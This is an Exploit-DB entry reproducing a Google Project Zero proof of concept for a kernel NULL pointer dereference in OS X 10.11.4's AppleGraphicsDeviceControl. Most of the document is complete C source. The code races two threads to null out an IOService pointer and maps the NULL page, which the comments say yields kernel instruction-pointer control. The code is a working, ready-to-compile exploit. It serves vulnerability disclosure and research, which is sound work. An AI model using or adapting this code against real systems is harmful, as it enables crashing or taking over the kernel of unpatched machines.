Exploit-DB #39923
Description: Apple Mac OSX Kernel - Null Pointer Dereference in AppleGraphicsDeviceControl
Type: dos
Platform: osx
Date: 2016-06-10
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=782

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

// ianbeer

// clang -o graphicscontrol_race graphicscontrol_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL pointer dereference in AppleGraphicsDeviceControl

AppleGraphicsDeviceControlClient doesn't check that its pointer to its IOService (at this+0xd8) is non-null before using it
in all external methods.

We can set this pointer to NULL by racing two threads, one of which calls IOServiceClose which NULLs out the pointer and the
other of which makes any external method call.

By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer.

tested on OS X 10.11.4 (15E65) MacBookPro 10,1
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;   /// anything :)
  inputScalarCnt = 0;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 4096;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  OSSpinLockUnlock(&lock);
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc() {
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("NVDC", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}